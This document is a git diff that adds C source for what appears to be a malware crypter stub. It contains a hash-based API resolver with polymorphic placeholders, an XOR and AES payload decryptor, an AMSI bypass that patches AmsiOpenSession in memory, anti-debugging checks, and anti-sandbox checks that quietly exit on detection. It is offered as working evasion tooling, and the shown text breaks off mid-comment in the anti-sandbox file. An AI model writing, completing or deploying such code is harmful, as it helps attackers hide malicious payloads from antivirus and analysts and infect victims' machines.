(h == hash) return entry->DllBase; + } + } while ((entry = (PAR_LDR_DATA_TABLE_ENTRY) + entry->InMemoryOrderModuleList.Flink) != first); + + return NULL; +} + +/* ── PE export table walking: find export by hash ──────────────── */ + +static void *peb_get_proc(void *base, DWORD hash) { + if (!base) return NULL; + + LPBYTE mod = (LPBYTE)base; + IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod; + IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew); + IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)( + mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + ); + + DWORD *names = (DWORD *)(mod + exports->AddressOfNames); + WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals); + DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions); + + for (DWORD i = 0; i < exports->NumberOfNames; i++) { + const char *name = (const char *)(mod + names[i]); + if (djb2_hash_ascii(name) == hash) { + return mod + funcs[ordinals[i]]; + } + } + + return NULL; +} + +/* ── Combined resolver (internal) ──────────────────────────────── */ + +static void *resolve_api(DWORD mod_hash, DWORD fn_hash) { + void *mod = peb_get_module(mod_hash); + if (!mod) return NULL; + return peb_get_proc(mod, fn_hash); +} + +/* ── Public: lazy resolution for one-off lookups ───────────────── */ + +void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) { + return resolve_api(mod_hash, fn_hash); +} + +/* ── Init: resolve all APIs into global table ──────────────────── */ + +void api_resolve_init(void) { + /* Module bases */ + g_api.ntdll_base = peb_get_module(HASH_NTDLL); + g_api.kernel32_base = peb_get_module(HASH_KERNEL32); + + /* ntdll */ + g_api.pNtUnmapViewOfSection = + (fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection); + g_api.pNtQueryInformationProcess = + (fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess); + + /* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */ + g_api.pLoadLibraryA = + (fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA); + g_api.pCreateProcessW = + (fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW); + g_api.pGetThreadContext = + (fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext); + g_api.pSetThreadContext = + (fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext); + g_api.pResumeThread = + (fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread); + g_api.pTerminateProcess = + (fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess); + g_api.pReadProcessMemory = + (fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory); + g_api.pWriteProcessMemory = + (fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory); + g_api.pVirtualAllocEx = + (fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx); + g_api.pVirtualAlloc = + (fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc); + g_api.pVirtualProtect = + (fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect); + g_api.pVirtualFree = + (fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree); + g_api.pCreateThread = + (fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread); + g_api.pWaitForSingleObject = + (fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject); + g_api.pCloseHandle = + (fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle); + g_api.pExitProcess = + (fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess); + g_api.pSleep = + (fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep); + g_api.pGetTickCount64 = + (fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64); + g_api.pGlobalMemoryStatusEx = + (fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx); + g_api.pGetSystemInfo = + (fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo); + g_api.pIsDebuggerPresent = + (fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent); + g_api.pGetCurrentProcess = + (fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess); + g_api.pQueryPerformanceFrequency = + (fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency); + g_api.pQueryPerformanceCounter = + (fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter); + g_api.pGetSystemDirectoryA = + (fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA); + g_api.plstrcatA = + (fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA); + g_api.pCreateFileA = + (fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA); + g_api.pGetFileSize = + (fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize); + g_api.pCreateFileMappingA = + (fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA); + g_api.pMapViewOfFile = + (fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile); + g_api.pUnmapViewOfFile = + (fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile); + g_api.pConvertThreadToFiber = + (fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber); + g_api.pCreateFiber = + (fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber); + g_api.pSwitchToFiber = + (fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber); + g_api.pDeleteFiber = + (fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber); + g_api.pFlushInstructionCache = + (fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache); + + /* advapi32 — may not be loaded yet, use LoadLibraryA fallback */ + void *advapi32 = peb_get_module(HASH_ADVAPI32); + if (!advapi32 && g_api.pLoadLibraryA) { + advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll"); + } + g_api.pRegOpenKeyExA = + (fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA); + g_api.pRegCloseKey = + (fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey); + + /* user32 — may not be loaded yet, use LoadLibraryA fallback */ + void *user32 = peb_get_module(HASH_USER32); + if (!user32 && g_api.pLoadLibraryA) { + user32 = (void *)g_api.pLoadLibraryA("user32.dll"); + } + g_api.pGetCursorPos = + (fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos); +} diff --git a/crypter_stubs/api_resolve.h b/crypter_stubs/api_resolve.h new file mode 100755 index 0000000..c994927 --- /dev/null +++ b/crypter_stubs/api_resolve.h @@ -0,0 +1,185 @@ +#ifndef API_RESOLVE_H +#define API_RESOLVE_H + +#include +#include + +/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */ + +#define HASH_NTDLL 0xDEADBEEF +#define HASH_KERNEL32 0xDEADBEEF +#define HASH_ADVAPI32 0xDEADBEEF +#define HASH_USER32 0xDEADBEEF +#define HASH_AMSI 0xDEADBEEF + +/* ── Function hash constants ───────────────────────────────────── */ + +/* ntdll.dll */ +#define HASH_NtUnmapViewOfSection 0xDEADBEEF +#define HASH_NtQueryInformationProcess 0xDEADBEEF + +/* kernel32.dll */ +#define HASH_LoadLibraryA 0xDEADBEEF +#define HASH_CreateProcessW 0xDEADBEEF +#define HASH_GetThreadContext 0xDEADBEEF +#define HASH_SetThreadContext 0xDEADBEEF +#define HASH_ResumeThread 0xDEADBEEF +#define HASH_TerminateProcess 0xDEADBEEF +#define HASH_ReadProcessMemory 0xDEADBEEF +#define HASH_WriteProcessMemory 0xDEADBEEF +#define HASH_VirtualAllocEx 0xDEADBEEF +#define HASH_VirtualAlloc 0xDEADBEEF +#define HASH_VirtualProtect 0xDEADBEEF +#define HASH_VirtualFree 0xDEADBEEF +#define HASH_CreateThread 0xDEADBEEF +#define HASH_WaitForSingleObject 0xDEADBEEF +#define HASH_CloseHandle 0xDEADBEEF +#define HASH_ExitProcess 0xDEADBEEF +#define HASH_Sleep 0xDEADBEEF +#define HASH_GetTickCount64 0xDEADBEEF +#define HASH_GlobalMemoryStatusEx 0xDEADBEEF +#define HASH_GetSystemInfo 0xDEADBEEF +#define HASH_IsDebuggerPresent 0xDEADBEEF +#define HASH_GetCurrentProcess 0xDEADBEEF +#define HASH_QueryPerformanceFrequency 0xDEADBEEF +#define HASH_QueryPerformanceCounter 0xDEADBEEF +#define HASH_GetSystemDirectoryA 0xDEADBEEF +#define HASH_lstrcatA 0xDEADBEEF +#define HASH_CreateFileA 0xDEADBEEF +#define HASH_GetFileSize 0xDEADBEEF +#define HASH_CreateFileMappingA 0xDEADBEEF +#define HASH_MapViewOfFile 0xDEADBEEF +#define HASH_UnmapViewOfFile 0xDEADBEEF + +/* advapi32.dll */ +#define HASH_RegOpenKeyExA 0xDEADBEEF +#define HASH_RegCloseKey 0xDEADBEEF + +/* user32.dll */ +#define HASH_GetCursorPos 0xDEADBEEF + +/* Fiber APIs (kernel32) */ +#define HASH_ConvertThreadToFiber 0xDEADBEEF +#define HASH_CreateFiber 0xDEADBEEF +#define HASH_SwitchToFiber 0xDEADBEEF +#define HASH_DeleteFiber 0xDEADBEEF +#define HASH_FlushInstructionCache 0xDEADBEEF + +/* Lazy-resolved (not in ApiTable struct) */ +#define HASH_EtwEventWrite 0xDEADBEEF +#define HASH_AmsiOpenSession 0xDEADBEEF + +/* ── Function pointer typedefs ─────────────────────────────────── */ + +/* ntdll */ +typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID); +typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG); + +/* kernel32 */ +typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR); +typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION); +typedef BOOL (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT); +typedef BOOL (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*); +typedef DWORD (WINAPI *fn_ResumeThread)(HANDLE); +typedef BOOL (WINAPI *fn_TerminateProcess)(HANDLE, UINT); +typedef BOOL (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*); +typedef BOOL (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*); +typedef LPVOID (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD); +typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); +typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); +typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD); +typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD); +typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE); +typedef void (WINAPI *fn_ExitProcess)(UINT); +typedef void (WINAPI *fn_Sleep)(DWORD); +typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void); +typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX); +typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO); +typedef BOOL (WINAPI *fn_IsDebuggerPresent)(void); +typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void); +typedef BOOL (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*); +typedef BOOL (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*); +typedef UINT (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT); +typedef LPSTR (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR); +typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD); +typedef HANDLE (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR); +typedef LPVOID (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T); +typedef BOOL (WINAPI *fn_UnmapViewOfFile)(LPCVOID); +typedef LPVOID (WINAPI *fn_ConvertThreadToFiber)(LPVOID); +typedef LPVOID (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID); +typedef void (WINAPI *fn_SwitchToFiber)(LPVOID); +typedef void (WINAPI *fn_DeleteFiber)(LPVOID); +typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T); + +/* advapi32 */ +typedef LONG (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); +typedef LONG (WINAPI *fn_RegCloseKey)(HKEY); + +/* user32 */ +typedef BOOL (WINAPI *fn_GetCursorPos)(LPPOINT); + +/* ── API table struct ──────────────────────────────────────────── */ + +typedef struct _ApiTable { + /* Module bases */ + void *ntdll_base; + void *kernel32_base; + + /* ntdll */ + fn_NtUnmapViewOfSection pNtUnmapViewOfSection; + fn_NtQueryInformationProcess pNtQueryInformationProcess; + + /* kernel32 */ + fn_LoadLibraryA pLoadLibraryA; + fn_CreateProcessW pCreateProcessW; + fn_GetThreadContext pGetThreadContext; + fn_SetThreadContext pSetThreadContext; + fn_ResumeThread pResumeThread; + fn_TerminateProcess pTerminateProcess; + fn_ReadProcessMemory pReadProcessMemory; + fn_WriteProcessMemory pWriteProcessMemory; + fn_VirtualAllocEx pVirtualAllocEx; + fn_VirtualAlloc pVirtualAlloc; + fn_VirtualProtect pVirtualProtect; + fn_VirtualFree pVirtualFree; + fn_CreateThread pCreateThread; + fn_WaitForSingleObject pWaitForSingleObject; + fn_CloseHandle pCloseHandle; + fn_ExitProcess pExitProcess; + fn_Sleep pSleep; + fn_GetTickCount64 pGetTickCount64; + fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx; + fn_GetSystemInfo pGetSystemInfo; + fn_IsDebuggerPresent pIsDebuggerPresent; + fn_GetCurrentProcess pGetCurrentProcess; + fn_QueryPerformanceFrequency pQueryPerformanceFrequency; + fn_QueryPerformanceCounter pQueryPerformanceCounter; + fn_GetSystemDirectoryA pGetSystemDirectoryA; + fn_lstrcatA plstrcatA; + fn_CreateFileA pCreateFileA; + fn_GetFileSize pGetFileSize; + fn_CreateFileMappingA pCreateFileMappingA; + fn_MapViewOfFile pMapViewOfFile; + fn_UnmapViewOfFile pUnmapViewOfFile; + fn_ConvertThreadToFiber pConvertThreadToFiber; + fn_CreateFiber pCreateFiber; + fn_SwitchToFiber pSwitchToFiber; + fn_DeleteFiber pDeleteFiber; + fn_FlushInstructionCache pFlushInstructionCache; + + /* advapi32 */ + fn_RegOpenKeyExA pRegOpenKeyExA; + fn_RegCloseKey pRegCloseKey; + + /* user32 */ + fn_GetCursorPos pGetCursorPos; +} ApiTable; + +extern ApiTable g_api; + +void api_resolve_init(void); +void *api_resolve_func(DWORD mod_hash, DWORD fn_hash); + +#endif /* API_RESOLVE_H */ diff --git a/crypter_stubs/decrypt_layer.c b/crypter_stubs/decrypt_layer.c new file mode 100755 index 0000000..7d82bd1 --- /dev/null +++ b/crypter_stubs/decrypt_layer.c @@ -0,0 +1,166 @@ +/** + * decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll + * + * Layered decryption: + * 1. XOR decrypt with embedded 32-byte key + * 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll) + * + * Keys, IV, and payload are patched in by the crypter engine at build time. + */ + +#include +#include +#include +#include + +#pragma comment(lib, "bcrypt") + +/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */ + +/* CRYPTER_KEY_MASK_PLACEHOLDER */ +static const uint8_t KEY_MASK[32] = { 0 }; + +/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */ +static const uint8_t XOR_KEY_ENC[32] = { 0 }; + +/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */ +static const uint8_t AES_KEY_ENC[32] = { 0 }; + +/* CRYPTER_AES_IV_ENC_PLACEHOLDER */ +static const uint8_t AES_IV_ENC[16] = { 0 }; + +/* CRYPTER_PAYLOAD_PLACEHOLDER */ +static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 }; + +/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */ +static const uint32_t PAYLOAD_LEN = 0; + +/* ── XOR layer ─────────────────────────────────────────────────────── */ + +static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) { + for (uint32_t i = 0; i < len; i++) { + data[i] ^= key[i % key_len]; + } +} + +/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */ + +static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len, + const uint8_t *key, const uint8_t *iv, + uint8_t *plaintext, uint32_t *pt_len) { + BCRYPT_ALG_HANDLE hAlg = NULL; + BCRYPT_KEY_HANDLE hKey = NULL; + NTSTATUS status; + ULONG result_len = 0; + DWORD key_obj_size = 0; + ULONG data_size = 0; + uint8_t *key_obj = NULL; + uint8_t iv_copy[16]; + int ret = 0; + + /* Open AES provider */ + status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0); + if (!BCRYPT_SUCCESS(status)) return 0; + + /* Set CBC mode */ + status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, + (PUCHAR)BCRYPT_CHAIN_MODE_CBC, + sizeof(BCRYPT_CHAIN_MODE_CBC), 0); + if (!BCRYPT_SUCCESS(status)) goto cleanup; + + /* Get key object size */ + status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH, + (PUCHAR)&key_obj_size, sizeof(key_obj_size), + &data_size, 0); + if (!BCRYPT_SUCCESS(status)) goto cleanup; + + key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size); + if (!key_obj) goto cleanup; + + /* Generate symmetric key */ + status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size, + (PUCHAR)key, 32, 0); + if (!BCRYPT_SUCCESS(status)) goto cleanup; + + /* BCryptDecrypt modifies the IV buffer in-place, so copy it */ + memcpy(iv_copy, iv, 16); + + /* Decrypt */ + status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL, + iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING); + if (!BCRYPT_SUCCESS(status)) goto cleanup; + + *pt_len = result_len; + ret = 1; + +cleanup: + if (hKey) BCryptDestroyKey(hKey); + if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj); + if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0); + return ret; +} + +/* ── Public API ────────────────────────────────────────────────────── */ + +/** + * Derive a key by XOR'ing encrypted key with mask. Operates on the stack. + */ +static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) { + for (uint32_t i = 0; i < len; i++) { + out[i] = enc[i] ^ mask[i % 32]; + } +} + +/** + * Decrypt the embedded payload. Caller must HeapFree the returned buffer. + * Returns NULL on failure. + */ +uint8_t *decrypt_payload(uint32_t *out_len) { + /* Derive keys on the stack from masked storage */ + volatile uint8_t xor_key[32]; + volatile uint8_t aes_key[32]; + volatile uint8_t aes_iv[16]; + + derive_key((uint8_t *)xor_key, XOR_KEY_ENC, KEY_MASK, 32); + derive_key((uint8_t *)aes_key, AES_KEY_ENC, KEY_MASK, 32); + derive_key((uint8_t *)aes_iv, AES_IV_ENC, KEY_MASK, 16); + + /* Copy encrypted payload to writable buffer for XOR pass */ + uint32_t enc_len = PAYLOAD_LEN; + uint8_t *buf = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len); + if (!buf) goto wipe_keys; + memcpy(buf, ENCRYPTED_PAYLOAD, enc_len); + + /* Layer 1: XOR */ + xor_decrypt(buf, enc_len, (const uint8_t *)xor_key, 32); + + /* Layer 2: AES-256-CBC */ + uint8_t *plaintext = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, enc_len); + if (!plaintext) { + HeapFree(GetProcessHeap(), 0, buf); + goto wipe_keys; + } + + uint32_t pt_len = 0; + if (!aes_decrypt(buf, enc_len, (const uint8_t *)aes_key, (const uint8_t *)aes_iv, plaintext, &pt_len)) { + HeapFree(GetProcessHeap(), 0, buf); + HeapFree(GetProcessHeap(), 0, plaintext); + goto wipe_keys; + } + + HeapFree(GetProcessHeap(), 0, buf); + + /* Wipe derived keys from stack */ + SecureZeroMemory((void *)xor_key, 32); + SecureZeroMemory((void *)aes_key, 32); + SecureZeroMemory((void *)aes_iv, 16); + + *out_len = pt_len; + return plaintext; + +wipe_keys: + SecureZeroMemory((void *)xor_key, 32); + SecureZeroMemory((void *)aes_key, 32); + SecureZeroMemory((void *)aes_iv, 16); + return NULL; +} diff --git a/crypter_stubs/decrypt_layer.h b/crypter_stubs/decrypt_layer.h new file mode 100755 index 0000000..489d2c8 --- /dev/null +++ b/crypter_stubs/decrypt_layer.h @@ -0,0 +1,13 @@ +#ifndef DECRYPT_LAYER_H +#define DECRYPT_LAYER_H + +#include + +/** + * Decrypt the embedded payload using XOR + AES-256-CBC. + * Caller must HeapFree() the returned buffer. + * Returns NULL on failure. + */ +uint8_t *decrypt_payload(uint32_t *out_len); + +#endif /* DECRYPT_LAYER_H */ diff --git a/crypter_stubs/evasion.h b/crypter_stubs/evasion.h new file mode 100755 index 0000000..41609f9 --- /dev/null +++ b/crypter_stubs/evasion.h @@ -0,0 +1,53 @@ +#ifndef EVASION_H +#define EVASION_H + +/* Each evasion module provides a single init function. + * The crypter engine defines EVASION_xxx macros to enable/disable each one. + * stub_main.c calls evasion_init_all() which conditionally invokes them. */ + +#ifdef EVASION_ANTI_SANDBOX +void evasion_anti_sandbox_init(void); +#endif + +#ifdef EVASION_ANTI_DEBUG +void evasion_anti_debug_init(void); +#endif + +#ifdef EVASION_UNHOOK_NTDLL +void evasion_unhook_init(void); +#endif + +#ifdef EVASION_AMSI_BYPASS +void evasion_amsi_init(void); +#endif + +#ifdef EVASION_ETW_PATCH +void evasion_etw_init(void); +#endif + +#ifdef EVASION_DELAYED_EXEC +void evasion_sleep_init(void); +#endif + +static inline void evasion_init_all(void) { +#ifdef EVASION_DELAYED_EXEC + evasion_sleep_init(); +#endif +#ifdef EVASION_ANTI_SANDBOX + evasion_anti_sandbox_init(); +#endif +#ifdef EVASION_ANTI_DEBUG + evasion_anti_debug_init(); +#endif +#ifdef EVASION_UNHOOK_NTDLL + evasion_unhook_init(); +#endif +#ifdef EVASION_AMSI_BYPASS + evasion_amsi_init(); +#endif +#ifdef EVASION_ETW_PATCH + evasion_etw_init(); +#endif +} + +#endif /* EVASION_H */ diff --git a/crypter_stubs/evasion_amsi.c b/crypter_stubs/evasion_amsi.c new file mode 100755 index 0000000..dc7289d --- /dev/null +++ b/crypter_stubs/evasion_amsi.c @@ -0,0 +1,37 @@ +/** + * evasion_amsi.c — AMSI bypass + * + * Patches AmsiOpenSession in amsi.dll to return E_INVALIDARG immediately, + * preventing AMSI from scanning any buffers in the current process. + */ + +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_AMSI_BYPASS + +void evasion_amsi_init(void) { + /* Load amsi.dll — may not be loaded yet in the process */ + HMODULE hAmsi = g_api.pLoadLibraryA("amsi.dll"); + if (!hAmsi) return; + + /* Resolve AmsiOpenSession by hash (amsi.dll is now in PEB) */ + FARPROC pFunc = (FARPROC)api_resolve_func(HASH_AMSI, HASH_AmsiOpenSession); + if (!pFunc) return; + + /* Patch: make the function return E_INVALIDARG (0x80070057) + * x64 patch: mov eax, 0x80070057; ret + * B8 57 00 07 80 C3 + */ + uint8_t patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + + DWORD old_protect; + if (g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect)) { + memcpy((LPVOID)pFunc, patch, sizeof(patch)); + g_api.pVirtualProtect((LPVOID)pFunc, sizeof(patch), old_protect, &old_protect); + } +} + +#endif /* EVASION_AMSI_BYPASS */ diff --git a/crypter_stubs/evasion_anti_debug.c b/crypter_stubs/evasion_anti_debug.c new file mode 100755 index 0000000..af23db6 --- /dev/null +++ b/crypter_stubs/evasion_anti_debug.c @@ -0,0 +1,86 @@ +/** + * evasion_anti_debug.c — Anti-debugging checks + * + * Checks: + * 1. IsDebuggerPresent() + * 2. NtQueryInformationProcess (ProcessDebugPort) + * 3. Timing check (RDTSC delta) + * 4. NtGlobalFlag in PEB + * + * If a debugger is detected, calls ExitProcess(0) silently. + */ + +#include +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_ANTI_DEBUG + +static void exit_if_debugged(void) { + g_api.pExitProcess(0); +} + +/* Basic API check */ +static void check_is_debugger_present(void) { + if (g_api.pIsDebuggerPresent()) { + exit_if_debugged(); + } +} + +/* NtQueryInformationProcess — ProcessDebugPort (class 7) */ +static void check_debug_port(void) { + if (!g_api.pNtQueryInformationProcess) return; + + DWORD_PTR debug_port = 0; + NTSTATUS status = g_api.pNtQueryInformationProcess( + g_api.pGetCurrentProcess(), 7 /* ProcessDebugPort */, + &debug_port, sizeof(debug_port), NULL); + if (status == 0 && debug_port != 0) { + exit_if_debugged(); + } +} + +/* Timing check: debugger single-stepping causes large RDTSC deltas */ +static void check_timing(void) { + LARGE_INTEGER freq, t1, t2; + if (!g_api.pQueryPerformanceFrequency(&freq)) return; + g_api.pQueryPerformanceCounter(&t1); + + /* Do some trivial work */ + volatile int x = 0; + for (int i = 0; i < 100; i++) x += i; + + g_api.pQueryPerformanceCounter(&t2); + /* If more than 500ms elapsed for trivial work, likely being debugged */ + double elapsed_ms = (double)(t2.QuadPart - t1.QuadPart) / freq.QuadPart * 1000.0; + if (elapsed_ms > 500.0) { + exit_if_debugged(); + } +} + +/* NtGlobalFlag in PEB — set when process is created under a debugger */ +static void check_nt_global_flag(void) { +#ifdef _WIN64 + /* PEB is at GS:[0x60], NtGlobalFlag at offset 0xBC */ + PPEB peb = (PPEB)__readgsqword(0x60); + DWORD flags = *(DWORD *)((uint8_t *)peb + 0xBC); +#else + PPEB peb = (PPEB)__readfsdword(0x30); + DWORD flags = *(DWORD *)((uint8_t *)peb + 0x68); +#endif + /* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS */ + if (flags & 0x70) { + exit_if_debugged(); + } +} + +void evasion_anti_debug_init(void) { + check_is_debugger_present(); + check_debug_port(); + check_timing(); + check_nt_global_flag(); +} + +#endif /* EVASION_ANTI_DEBUG */ diff --git a/crypter_stubs/evasion_anti_sandbox.c b/crypter_stubs/evasion_anti_sandbox.c new file mode 100755 index 0000000..f144136 --- /dev/null +++ b/crypter_stubs/evasion_anti_sandbox.c @@ -0,0 +1,103 @@ +/** + * evasion_anti_sandbox.c — Anti-sandbox / anti-VM checks + * + * Checks: + * 1. Sleep acceleration detection (sleep 1s, check elapsed >= 900ms) + * 2. Physical RAM >= 2 GB + * 3. CPU core count >= 2 + * 4. Cursor movement over 500ms window + * 5. Known VM registry keys (VBox, VMware, QEMU) + * 6. Known VM process names + * + * If any check indicates a sandbox, calls ExitProcess(0) silently. + */ + +#include +#include + +#include "api_resolve.h" + +#ifdef EVASION_ANTI_SANDBOX + +static void exit_if_sandbox(void) { + g_api.pExitProcess(0); +} + +/* Sleep acceleration: sandboxes often fast-forward Sleep() calls */ +static void check_sleep_timing(void) { + ULONGLONG t1 = g_api.pGetTickCount64(); + g_api.pSleep(1000); + ULONGLONG t2 = g_api.pGetTickCount64(); + if ((t2 - t1) < 900) { + exit_if_sandbox(); + } +} + +/* RAM check */ +static void check_ram(void) { + MEMORYSTATUSEX mem; + mem.dwLength = sizeof(mem); + if (g_api.pGlobalMemoryStatusEx(&mem)) { + /* Less than 2 GB total = likely sandbox */ + if (mem.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) { + exit_if_sandbox(); + } + } +} + +/* CPU count */ +static void check_cpu_count(void) { + SYSTEM_INFO si; + g_api.pGetSystemInfo(&si); + if (si.dwNumberOfProcessors < 2) { + exit_if_sandbox(); + } +} + +/* Cursor movement: sandboxes often don't move the cursor */ +static void check_cursor_movement(void) { + POINT p1, p2; + g_api.pGetCursorPos(&p1); + g_api.pSleep(500); + g_api.pGetCursorPos(&p2); + /* If cursor hasn't moved at all, suspicious but not conclusive. + * Combined with other checks, this strengthens detection. 